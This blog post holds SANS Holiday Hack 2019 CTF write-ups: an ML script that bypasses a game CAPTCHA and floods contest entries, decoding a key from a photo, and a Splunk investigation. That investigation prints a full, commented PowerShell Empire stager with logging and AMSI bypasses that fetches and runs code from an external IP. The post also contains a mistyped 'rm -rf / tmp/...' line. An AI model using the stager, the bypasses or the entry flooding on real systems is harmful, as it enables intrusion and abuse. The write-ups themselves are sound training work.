Tuesday, January 28, 2020

SANS Holiday Hack 2019 - Objective 8: Bypassing the Friedo Sleigh CAPTEHA

Objective 8:  Bypassing the Friedo Sleigh CAPTEHA




To complete this objective, you need to go to Krampus layer.  If you completed Objective 7, you can use the Steam Tunnels in your badge to go directly to Krampus’ layer.  Fairly certain you have to complete Krampus’ Challenge to do this, unless you’re a web dev wizard.  But, in case you didn’t, go to the dorm, through the controlled access door, all the way to the right until you reach an open door.  Go into the open door, go into the closet, open the lock, go through the tunnels until you reach Krampus.  He will tell you the objective.  Alabaster Snowball gives the hints for this challenge.  The following link is Chris Davis talk that Alabaster mentions.  https://www.youtube.com/watch?v=jmVPLwjm_zs&feature=youtu.be



Krampus gives you the details of the challenge as well as some images and a script he wrote to help send requests to the CAPTEHA via the api.  If you know python, it's helpful because the machine learning demo that Mr. Davis has in the git repository and capteha_api.py that Krampus gives is in python.  It’s not absolutely necessary to know python though.  I don’t.  Thankfully I took programming courses in different languages, so I can read some of it.  I Googled the rest.  I'm using the Slingshot image.  Linux seems to have less overhead than Windows, and usually a smaller processing footprint.  This is important for processing all the images and sending the request.  Note that this challenge does not have to be solved in the terminal.  Go here:  https://fridosleigh.com/.  This is what you’re supposed to bypass.  It's helpful to see how it works.

First thing you should do is watch the talk.  That is the single most helpful thing to help solve this challenge.  Second thing is to download the GitHub repository that he mentions in his talk.  github.com/chrisjd20/img_rec_tf_ml_demo.  Either clone or download it just like the directions state. 
git clone https://github.com/chrisjd20/img_rec_tf_ml_demo.git

cd img_rec_tf_ml_demo 
sudo apt install python3 
python3-pip -y 
sudo python3 -m pip install --upgrade pip  
sudo python3 -m pip install --upgrade setup tools 
sudo python3 -m pip install --upgrade tensorflow==1.15 
sudo python3 -m pip install tensorflow_hub




 


There are multiple ways of solving a challenge.  The following is one way.  There may be better, more efficient, ways.

Download the images https://downloads.elfu.org/capteha_images.tar.gz and Save them in a directory called, “training_images”.  There should be separate folders that are named the items that you want to train the machine to recognize.  The folders should contain images corresponding to the folder names, so, Candy Canes in the Candy Canes folder, Christmas Trees in the Christmas Tree folder, etc.

Next, run

python3 retrain.py --image_dir ./training_images/

Keep in mind, that that . in front of ./training_images means the current directory.  Depending on where you saved it, you might have to run it using the directory path like so:  /home/slingshot/Desktop/training_images/

That python program will create two temporary files in the /tmp directory that are necessary to process the images that are sent from the CAPTECHA so that your machine can recognize what each image is and send back the correct response.    Depending on how your machine is configured, if you reboot, you may have to retrain the machine, because many times the /tmp files are deleted at log off.  If you don't want the training images to be deleted at log off, reconfigure the script to save those files somewhere other than the /tmp directory.

Also, if you get an error when trying to run the python file, make sure that your current user has permission to execute it.

Next, modify the CAPTEHA API file that Krampus gives you.  The following commented python code is what I did.  Basically all I did was modify the API that Krampus gave us.  He made it fairly clear what was needed, by putting the following in his code:

    '''
    MISSING IMAGE PROCESSING AND ML IMAGE PREDICTION CODE GOES HERE
    '''


I borrowed code from the machine learning processing code that Chris Davis gave us in the github repository, and placed the code where Krampus outlined to in the api script.  

The files that the CAPTECHA downloads and displays are downloaded into an “unknown_images” directory.  (Chris already provided the code, might as well use it.)  So, create that directory and keep track of that path.  The path is needed for the script.  Each time the script is ran in this version of the api python script, the unknown_images directory has to be deleted and recreated so that it doesn't guess the photos from previous attempts.  This could be added to the script, but I created a one liner that runs the commands one after the other like so, and did the command between attempts:  rm -rf / tmp/unknown_images && mkdir /tmp/unknown_images && ./captecha_api.py.


#!/usr/bin/env python3
# Fridosleigh.com CAPTEHA API - Made by Krampus Hollyfeld
import requests
import json
import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
import tensorflow as tf
tf.logging.set_verbosity(tf.logging.ERROR)
import numpy as np
import threading
import queue
import time
import sys
import base64


def load_labels(label_file):
    label = []
    proto_as_ascii_lines = tf.gfile.GFile(label_file).readlines()
    for l in proto_as_ascii_lines:
        label.append(l.rstrip())
    return label

def predict_image(q, sess, graph, image_bytes, img_full_path, uuid, labels, unknown_images_dir, input_operation, output_operation):
    image = read_tensor_from_image_bytes(image_bytes)
    results = sess.run(output_operation.outputs[0], {
        input_operation.outputs[0]: image
    })
    results = np.squeeze(results)
    prediction = results.argsort()[-5:][::-1][0]
    #You might want to make it clear what your variables are referring to.  I was just trying stuff and came across 
    an answer by pure luck.
    bob = img_full_path.split(unknown_images_dir)
    bobo = bob[1].split('/')
    bobbo = bobo[1]
    q.put({'prediction':labels[prediction].title(), 'uuid':bobbo})

def load_graph(model_file):
    graph = tf.Graph()
    graph_def = tf.GraphDef()
    with open(model_file, "rb") as f:
        graph_def.ParseFromString(f.read())
    with graph.as_default():
        tf.import_graph_def(graph_def)
    return graph
 
def main():
    yourREALemailAddress = “myrealemailaddress@washere.com"

    # Creating a session to handle cookies
    s = requests.Session()
    url = "https://fridosleigh.com/"

    json_resp = json.loads(s.get("{}api/capteha/request".format(url)).text)
    b64_images = json_resp[‘images'] # A list of dictionaries each containing the keys 'base64' and 'uuid'
    challenge_image_type = json_resp[‘select_type'].split(',') # The Image types the CAPTEHA Challenge is looking for.
    challenge_image_types = [challenge_image_type[0].strip(), challenge_image_type[1].strip(), challenge_image_type[2].replace(' and ','').strip()] # cleaning and formatting
    print(challenge_image_types)

    for result in b64_images:
        uuid = result['uuid']
        with open(uuid, "wb") as fh:
            fh.write(base64.b64decode(result['base64']))  
    '''
    MISSING IMAGE PROCESSING AND ML IMAGE PREDICTION CODE GOES HERE
    '''


    # Loading the Trained Machine Learning Model created from running retrain.py on the training_images 

    directory
    graph = load_graph('/tmp/retrain_tmp/output_graph.pb')
    labels = load_labels("/tmp/retrain_tmp/output_labels.txt")

    # Load up our session
    input_operation = graph.get_operation_by_name("import/Placeholder")
    output_operation = graph.get_operation_by_name("import/final_result")
    sess = tf.compat.v1.Session(graph=graph)

    # Can use queues and threading to speed up the processing
    q = queue.Queue()

    unknown_images_dir = '/home/slingshot/Desktop/unknown_images'
    print(unknown_images_dir)
    unknown_images = os.listdir(unknown_images_dir)
    print(unknown_images)

 #Going to interate over each of our images.
    for image in unknown_images:
        img_full_path = '{}/{}'.format(unknown_images_dir, image)
        print('Processing Image {}'.format(img_full_path))
        # We don't want to process too many images at once. 10 threads max
        while len(threading.enumerate()) > 10:
            time.sleep(0.00001)        
    #predict_image function is expecting png image bytes so we read image as 'rb' to get a bytes object
        image_bytes = open(img_full_path,'rb').read()
        threading.Thread(target=predict_image, args=(q, sess, graph, image_bytes, img_full_path, uuid, labels, 
        unknown_images_dir, input_operation, output_operation)).start()
    
    print('Waiting For Threads to Finish...')
    while q.qsize() < len(unknown_images):
        time.sleep(0.0001)
    
    #getting a list of all threads returned results
    prediction_results = [q.get() for x in range(q.qsize())]
    final_answer_list= []
    #do something with our results... Like print them to the screen.
    for prediction in prediction_results:
        if(prediction['prediction'] in challenge_image_types):
            print(prediction['prediction'])
            print(prediction['uuid'])
            final_answer_list.append(prediction['uuid'])
    final_answer = ','.join(final_answer_list)
    # This should be JUST a csv list image uuids ML predicted to match the challenge_image_type .
    #final_answer = ','.join(for prediction['uuid'] in final_answer_list )
    
    json_resp = json.loads(s.post("{}api/capteha/submit".format(url), data={'answer':final_answer}).text)
#
    if not json_resp['request']:
        # If it fails just run again. ML might get one wrong occasionally
        print('FAILED MACHINE LEARNING GUESS')
        print('--------------------\nOur ML Guess:\n--------------------\n{}'.format(final_answer))
        print('--------------------\nServer Response:\n--------------------\n{}'.format(json_resp['data']))
        sys.exit(1)
    print('CAPTEHA Solved!')
    # If we get to here, we are successful and can submit a bunch of entries till we win
    userinfo = {
        'name':'Krampus Hollyfeld',
        'email':yourREALemailAddress,
        'age':180,
        'about':"Cause they're so flippin yummy!",
        'favorites':'thickmints'
    }
    # If we win the once-per minute drawing, it will tell us we were emailed.
    # Should be no more than 200 times before we win. If more, somethings wrong.
    entry_response = ''
    entry_count = 1
    while yourREALemailAddress not in entry_response and entry_count < 200:
        print('Submitting lots of entries until we win the contest! Entry #{}'.format(entry_count))
        entry_response = s.post("{}api/entry".format(url), data=userinfo).text
        entry_count += 1
    print(entry_response) 
if __name__ == "__main__":
    main()

The key to this challenge was persistence.  If you don’t know python and/or machine learning, it can be frustrating. 

But you keep trying until you get it.  Notice from the image below that after I got the syntax right, it took 101 submissions before it went through.  This is not counting the many times I had to modify the code because of a syntax error or logic error.  Don't give up.


SANS Holiday Hack 2019 - Objective 7: Get Access to the Steam Tunnels

Objective 7:  Get Access to the Steam Tunnels

 The next objective is to get access to the steam tunnels.  Minty Candycane gives the hints for this one.  To get to the area needed to solve this objective, go to the quad, right hand side, to the Dormitory.  You will have to pass through a code-access door.  The keys are worn down, and the elf nearby, Tangle Coalbox, gives hints about how to get through.  Notice that the keys 1,3, 7, and Enter are worn down?  Use the clues to guess.  Hackers like the number 1337, so that was my first thought.  It is not a prime number, though,  Then I tried 7331, which is a prime number.  Lucky guess.

Deviant Ollam’s talk, Optical Decoding of Keys, is useful for this objective.  https://www.youtube.com/watch?v=KU6FJnbkeLA&feature=youtu.be  Minty also gives a couple of links that are useful in the hints.  Note that one hint  is just another reference to the Deviant Ollam’s talk link above.   https://github.com/deviantollam/decoding
Once you’re in the dorm, go to the right until you see an open door.  Enter the open door.  This is Minty’s dorm room.  Minty must be a really trusting elf.  There is a key grinder in here.  Now go into the room to the north.  There's a mysterious lock in the middle of the closet.  (The lock on the left hand side is in the middle before you solve it.)  My image looks different because I solved it.



Click on the lock, and you'll see a better image of the lock.  Note the brand is Schlage.  You'll need that.  The keys on the left expect you to upload an image of a key.  Go back to Minty's dorm room and play with the key grinder for an idea of how it works.





The key grinder is fairly self-explanatory.  It cuts a key from left to right, depending on the measurements you give it.  How do you know what measurements to give it?  Solve Minty’s terminal and she’ll tell you that someone is hopping around with a key.  That someone happens to be Krampus.  He hops from Minty's dorm room to the closet with the lock.  Notice he has a key hanging off his belt?  Deviant Ollam's talk is about making keys based on pictures of keys.  So, it's safe to assume that maybe we need a picture of the key. 
 

Taking a picture is tricky with him hopping about.  An easier way is to go into Developer Tools or your browser, look at the network traffic, and get the image of Krampus from there.  In Fireflox, right-click on the webpage, Inspect Element, go to the Network tab, and scroll through the traffic until you see his image.  The traffic is on the left hand side.  You’ll see a domain that has the word Krampus in it and the type will be a png.  Some browsers will display the picture as well.  Then visit the path to the image.  Here is the path to the Krampus image.  https://kringlecon.com/images/avatars/elves/krampus.png


Once you have his image, cut the key out using image editing software like GIMP or Photoshop.  I used Preview on a Mac.  It isn’t the best image editing software around, but worked fine for this.  I used the smart lasso to carve out the key from the Krampus image.  You cannot use this image of a key to unlock the lock.  You must create a key with a key grinder.  Then I went to the File Menu, Edit, Cut.  The image should have a  blank spot where the key was. 
Watch Deviant Ollam's talk if you haven't already.  He speaks about bitting guides. 
Next, I downloaded the appropriate bitting guide, opened it in Preview, and pasted the image of the key into the window.  Then I resized the image as necessary so it would fit.  Reading the measurements is tricky.  The top line in the bitting guide is not 0 for this key.  Deviant Ollam mentions this in his talk.  The second line is actually 0 in this case.  So the measurements are 122520.

Go to the key grinder.  From left to right, add the values in 122520.  Click Cut, then click on the key to download the image of the key.  The key is aptly named 122520.png.  Now that I think about it, do you have to go to the trouble of making a key, or can you simply name a file 122520.png and it work?  Nope... tried it.  They must have some way to check the image in their code and something extra that they are checking in the png file created by the grinder.





Next, go back to the closet with the lock.  Click on the lock in the closet.  Click on the key chain on the left to upload the image of the correct key.  You’ll see an image of the key that was created.  Then click on the lock in the center of the screen.  It should now turn and open, revealing the tunnel to Krampus’ layer.  Follow the tunnel until you see Krampus.  Talk to him.  You’ll find out that his name is Krampus Hollyfeld, and he borrowed the turtle doves temporarily.  Seems like a nice guy.


Monday, January 27, 2020

SANS Holiday Hack 2019 - Objective 6: Splunk

Objective 6:  Splunk

The hint for this challenge are given by Professor Banas in the Laboratory. (Go to the left side of the quad into Hermey Hall.  Continue Left into the Laboratory.)  For this one, it gives a link to a website where Splunk logs must be examined.   https://splunk.elfu.org/.  Apparently the Splunk logs reveal that Professor Banas’ computer is hacking other computers on campus.  Ouch.



The only hints I recall the Banas avatar in the game giving were the login crews to the ElfU Splunk server.  Navigate to the Splunk server and login with the creds that Banas gave.


As you can see from the image below, once you’re logged in, you'll be logged into the SOC Chat.  There are also questions on the right hand side that were clipped from this image.  The hint at the very bottom is useful and funny.   Scroll up. Lolz.  The chats are well worth the read for hints and humor.  I will not post them all.


Follow Kent’s directions and read the #ELFU SOC messages by clicking on #ELFU SOC on the left hand side.   Note that the sweetums system (Professor Banas’ machine) is connecting with some strange IP.  (Abnormal behavior - must be compromise.)  Note:  From now on, I’m only showing certain chat info so the images are easier to read.


Read the DM from Alice Bluebird by clicking on her name on the left hand side.   The way that this works is that there are training questions on the right hand side of the website (redacted from these first images), and Alice guides you through answering them.  You may choose not to answer them if you’re already a Splunk expert, but they are good for beginners or a refresher  Also, Alice  states that they already have a good idea of what happened on his system, but they’re always looking for new people, so if you do well, they’ll put in a good word with the boss.



Now the fun starts.  Goal:  Find the message for Kent the adversary embedded in the attack.  Secondary objective:  Answer the challenge questions.  

In the next image, Alice asks what the name of the compromised computer is.  It’s sweetums.  It can be seen in the #ELFU SOC chat.


The image below displays the training questions that Alice mentions in the last images.  They are on the same page on the website as the SOC Chat, except they are on the right hand side.  The answers are already populated because I solved it.  Some of them are cut because that was how they were displayed in the browser. 


Once the first question is answered, return to the SOC chat, if necessary.  The chat will look like the following image.


She then gives another clue.  Here’s where the Splunk analysis begins.  She says that Banas is close to Santa, hence the reason bad guys are attacking Banas.  Reminds me of a phishing awareness campaign that says, “You are the target.”  No matter how low on the totem pole you think you are, any access to the internal network can be dangerous.  Can’t get past edge defenses, go straight to the source - the internal network via phishing.  

Next question:  What sensitive file was leaked?


For this next part, click on the Search tab.  It brings up a page that looks like the following image:


Under search you have two things to search for - sweetums, which is Professor Banas’ machine, and the word Santa because Alice mentioned that Banas is close to Santa.  Santa is the big (no pun intended) target, so type Santa into the search bar to see some interesting information.  It shows some abnormal looking Powershell logs.  If you've seen base64 encoding in logs, you’ll instantly recognize the random letters and numbers in these logs as very likely being base64 encoded strings. For those who ask how I recognize base64 encoding.  It's kind of like reading.  The more examples you see, the more likely you are to spot it.  So, how to you recognize words?  You read a lot, right?  Base64 is 0-9A-Za-z.  Sometimes files encoded in base64 will have other characters, but still the pattern is evident.


Clicking on the > next to the topmost event, with the timestamp of 8/25/19 5:19:20.000 PM, You will see a file in the log: 
C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt that looks juicy. 
Was it exfiltrated?  Decode the Powershell and maybe we can see.  Copy the code out, and decode with Cyberchef or another tool.

As mentioned in an earlier Objective, Cyberchef can be used to decode it.  The following is the first part of the payload.  This time it's simply base64 encoded, though.  It doesn’t need to be gunzipped.  One problem with CyberChef is that it adds dots if the character encoding isn't correct.  In this case, it was displaying UTF-8 when the encoding was UTF-16.  Simply use the Decode text recipe and choose UTF-16LE (1200) as the encoding.  



Here is the decoded payload.  I added comments.  Note that they comments are not in the original.  Also made it prettier.  Looks like C&C traffic is being sent to and an external server. http://144.202.46.214:8080.  Notice how the case is upper/lowercase and the `s.  This is to bypass signature based security solutions like AV.   According to the following article, this looks like Powershell Empire.  https://medium.com/@netscylla/powershell-that-looks-smells-like-empire-payloads-7f9bfdd39e5b

# Only run this if the Powershell version is greater than or equal to 3 - to avoid errors in lower versions - cmdlets are different.
IF($PSVerSioNTaBLe.PSVERsIOn.MAJor -gE 3 {
#Get the cached Group Policy Settings
$GPF=[Ref].ASsEMBly.GETTyPE(‘System.Management.Automation.Utils')."GEtFiE`Ld"('cachedGroupPolicySettings','N'+'onPublic,Static');
    IF($GPF){
    #Check for script block logging and script block invocation logging, disable them.
    $GPC=$GPF.GeTVAluE($nUlL);
        If($GPC[‘ScriptB'+'lockLogging']){
            $GPC[‘ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
            $GPC[‘ScriptB’+'lockLogging']['EnableScriptBlockInvocationLogging']=0
        }
    $val=[COLlEcTioNs.GEneRiC.DICTIoNAry[StrING,SySTEm.ObjecT]]::NeW();
    $vAl.AdD(‘EnableScriptB’+'lockLogging',0);
    $vaL.ADd(‘EnableScriptBlockInvocationLogging',0);
    #Set the registry that determines whether script block logging and script block invocation logging is enabled or not to disabled.   
    $GPC[‘HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB’+'lockLogging']=$VAl}
ElSE{
    [SCrIPTBlOCK]."GEtFIe`lD"('signatures','N'+'onPublic,Static').SETVALUe($NUll,(NEW-OBjEct CollEcTions.GEnerIC.HashSeT[sTrING]))
}
#AMSI Bypass - AMSI is Anti-Malware Scan interface.  This stops applications and services from utilizing this to send info to an antimalware provider on the system.
[REf].ASSEMBlY.GETTYPe(‘System.Management.Automation.AmsiUtils’)|?{$_}|%{$_.GETFielD('amsiInitFailed','NonPublic,Static').SEtValUe($NUlL,$True)};};
# Determines whether or not 100 Expect Continue HTTP status is used.  That’s usually used for large file uploads so that the client can tell whether or not the server will accept the large file upload.  If it does, it tells the client it's expecting it.  Kind of like someone calling ahead for dinner to notify a host to expect them.  In this case, this script is not utilizing this behavior.
[SySteM.NeT.SERvicEPoInTMaNaGer]::EXPecT100CONtInUe=0;
#Create a new web client object for sending web traffic
$wc=NEw-ObjECT SysTEM.NeT.WeBCLiENT;
#Sent a user agent
$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko’;
#Add the user agent to the headers
$wC.HEADErS.ADd(‘User-Agent’,$u);
#Use whatever proxy is set or not set.
$Wc.ProXy=[SySTeM.Net.WeBREQuEST]::DEFaULTWebProXy;
#Use whatever the default network credentials for the proxy, if it exists.
$WC.PRoXy.CREDenTIAls = [SySTEm.NET.CRedeNTiAlCAcHe]::DeFaulTNeTwORkCREDenTiALS;
#The proxy for the entire script is this proxy.  Otherwise, the proxy only works in this function - not the entire script.
$Script:Proxy = $wc.Proxy;
#Not sure what this does, but it looks like it could be a decryption function.  There’s a bitwise xor at the end. 
The key is $K which is BXORed with the data sent to decrypt/encrypt it.  Looks like a symmetric key

$K=[SySTEM.Text.EncOdING]::ASCII.GeTBYteS(‘zd!Pmw3J/qnuWoHX~=g.{>p,GE]:|#MR');
$R={$D,$K=$ARGs;
$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.COUnt])%256;
$S[$_],$S[$J]=$S[$J],$S[$_]};
$D|%{$I=($I+1)%256;
$H=($H+$S[$I])%256;
$S[$I],$S[$H]=$S[$H],$S[$I];
$_-BXoR$S[($S[$I]+$S[$H])%256]}};
#Set server to this address.
$ser='http://144.202.46.214:8080';
#Set value of $t to this /admin/get.php file
$t=‘/admin/get.php’;
#Add this session cookie to the headers - to establish a unique session with the C&C server.
$WC.HEADErs.Add(“Cookie”,"session=reT9XQAl0EMJnxukEZy/7MS70X4=");
#Download admin/get.php from 144.202.46.214 over port 8080 - possibly the commands to execute.
$DATa=$WC.DownlOADDAtA($sEr+$T);
#$IV -initializaion vector
$Iv=$DatA[0..3];
# decrypt the data that is received using the $IV and $K and Execute whatever is in this data that is sent.
$DatA=$dATa[4..$DatA.lENGtH]; -JOIN[ChaR[]](& $R $DatA ($IV+$K))| IEX

That decoded Powershell payload showed that the file was exfiltrated.  Notice that the log shows the file as an input into that Powershell script.  That script takes data, encrypts it, and sends it to the C&C server and downloads and decrypts commands.  Should probably find more evidence to support that.  But for right now, try that as an answer.  Sure enough, it's correct.  Oh, and the next question mentions a C&C, but we already know that.

Talk to Alice again in the chat.  Onto the next question.  What is the fully qualified domain name of the C&C server?  She recommends checking the Sysmon Logs. Specifically the Network Event ID 3.



Splunk is fairly cool in that even if you don’t know exactly what source you're looking for, there is a navigation bar on the left.  The sources are fairly self explanatory.  Search for sweetums, then scroll down the navigation bar on the left and click on source.   Click on the source that has the word Sysmon in it to search the Sysmon logs, or type it, like she says.  Next, in the navigation bar, look for EventID, Click on it, then click on EventID 3.  Even before searching for EventID 3 you can see the Fully Qualified Domain Name of the C&C in the logs that appear.  144.202.46.214.vultr.com.  It’s good to know how to navigate, though. 



Click on one of the events with the FQDN, and you’ll see the IP/port match the C&C that we found earlier.  This won’t always be the case.  Sometimes malware has different components.  Like the downloader will have a different IP than the C&C, and sometimes the C&C will call back to multiple domains to look less suspicious and to make detection and remediation more difficult.


Talk to Alice again to get hints for the next question.  What document is involved with launching the malicious Powershell code?  We actually already have a potential answer if we studied more of the Powershell logs.  The Powershell logs showed a command coming across the C&C to look for files on Banas’ computer matching the string “Santa".  The malicious file was listed in this log.  Multiple ways to solve puzzles are good to know, though.



Go back into the search tab, search for sweetums, in the navigation pane, click on source again in the left navigation pane, and click on the source with Powershell in it, then add a | reverse to the search.  Click on the first time in the events as she describes.  Follow her directions to pivot on time.  The Sysmon description she gives is tricky.  It depends on whether the directions were followed properly and sysmon sources show up in the logs. Advice: Don’t delete the index=main part of the search.


The logs should only one entry in this timeframe.  Interesting.  Wmiprvse.exe launching powershell.exe.  This was announced as one of the ways that Emotet spreads - via malicious macros and using wmiprvse.exe.  This is because it is a native binary - some AVs wouldn't detect this.  Now that it is more well known, they might, but if they are signature based, they may still be vulnerable.  Just use string functions to build the name. like $fred = “wmi” + “pr” +  “vse” + “.” + “ex" + “e”.  

Looking up the parent process id yields nothing.  This process id is interesting because the Powershell payload that it's launching, though.  We need to file it for later.  5864.  This should look familiar.  It's like the script we decoded earlier.  The other interesting process id is 6268.  You can find this by looking at the processid field in the left-hand navigation bar.


Alice then states to look for process creation events - which is event ID 4688 and not to forget to set the time back to all time, so nothing is missed.  She gives a hint about James Brodsky’s KringleCon talk: Dashing Through the Logs.


4688 for whatever reason stores process IDs in hexadecimal.  The process ids we found need to be converted from decimal to hexadecimal to find it in the Windows process creation event logs.  James Brodsky mentions some useful splunk magic that does that in Splunk.


Following his directions, then adding a search returns one result.  The process creation event log for that wmiprvse.exe process that launched powershell.  The creator process is 0xc10 in the Windows Process Creation event id 4688.  Let's see what that is.  Unfortunately, searching for that process ID returns nothing because of the way that the process tree is made when the macro launches wmiprvse.exe.  It doesn't look like it came from winword.exe.  Usually the parent of wmiprvse.exe in this case is svchost.exe as noted here:  https://community.mcafee.com/t5/Malware/New-Emotet-version-using-WMI-ENS-exploit-expert-rule/td-p/619057.



So, search for the other pid: 6268 - not really surprised, in the image below, showing the process command line, a .docm file was launched by winword.exe, Microsoft Word.  A .docm file is a Microsoft Word document with a macro in it.  In this case, a malicious macro.  Parent process is explorer.exe, which is normal considering Word is usually ran from explorer.exe.  However, may want to see if anything is injected into explorer.exe - many malicious actors inject into explorer.exe because as long as the user is logged in, explorer.exe usually stays running.  Other processes may be shut down as the user uses them and closes them.  Meaning that the attacker has to go to the trouble of injecting into another process.  So the answer is 19th Century Holiday Cheer Assignment.docm.


Next Question:  How many unique e-mails were used to send Holiday Cheer messages to Professor Banas?



This is another one where the hints in the James Brodsky’s KringleCon talk: Dashing Through the Logs talk are useful.  Alice helpfully provided a search to use as a starting point.  This search can be modified to find what we need:  search index= main sourcetype=stoq | table _time results{}.workers.smtp.to results{}.workers.smtp.from  results{}.workers.smtp.subject results{}.workers.smtp.body | sort -.  So, we simply need to change this search to display what we want.  As the case with most things, there are multiple ways to solve it.  You can search and count e-mails sent to Carl Banas regarding this Holiday Cheer assignment, or you can search e-mails sent from Banas to each student regarding the Holiday Cheer assignment.  He sends an e-mail to each person that sent him the assignment.  The methods are in the screenshots below.  Notice something interesting about the To Banas version?  A count of twenty fitting that query.  Why?  Because 20 students sent it to Carl Banas <Carl.Banas@faclty.elfu.org> and only one sent it to the e-mail, Carl.Banas@faclty.elfu.org, without the name, Carl Banas at the beginning.  There were 21 events regarding sending messages to Banas.  So, which student should I investigate?  The odd one out.




Next question, "What is the password for the zip archive that contained the suspicious file?  Looking at the odd student out, you not only see that he sent the assignment to a different address than the rest, but he also sent the assignment from a different e-mail domain entirely, eifu.org, which is a hallmark of phishing.  He sent a zip file that is password protected, to bypass the e-mail protections.  Many e-mail vendors don’t scan password protected zips, so you can get malware by with that technique as long as there is nothing blocking zip attachments.  But, even if they do block zips, that protection is easily bypassed by sending a link to a website containing a zip archive.  

The sender also gave instructions about how to enable macros - one of the most common modern infection vectors because it still works.  The password is 123456789.  The last question is, “What is the e-mail address that the suspicious file came from.  Well we already know.  It’s in this search because he's the odd student out.  bradly.buttercups@eifu.org.


Now for the final question - the only one that is required.  What was the message embedded for Kent?  Take a wild guess which talk helps again.  That’s right, James Brodsky’s KringleCon talk: Dashing Through the Logs.  Alice is also extremely helpful - giving the exact search as well as a not so cryptic hint to get the answer to this question.



The metadata is in core.xml.  First, download it from here:  http://elfu-soc.s3-website-us-east-1.amazonaws.com/.  This is where Alice said that she stored the Archives.  The fullpath below shows where the file is in the directory structure.  Don’t be tripped up by it ending in “core.xml”.  The full path is https://elfu-soc.s3.amazonaws.com/stoQ%20Artifacts/home/ubuntu/archive/f/f/1/e/a/ff1ea6f13be3faabd0da728f514deb7fe3577cc4.  That weird hex is the file name.  Found this out by manually traversing the directory structure because I tried the full path denoted below and got an error.


Message for Kent:  Kent you are so unfair. And we were going to make you the king of the Winter Carnival.  It’s in the <dc:description>tag.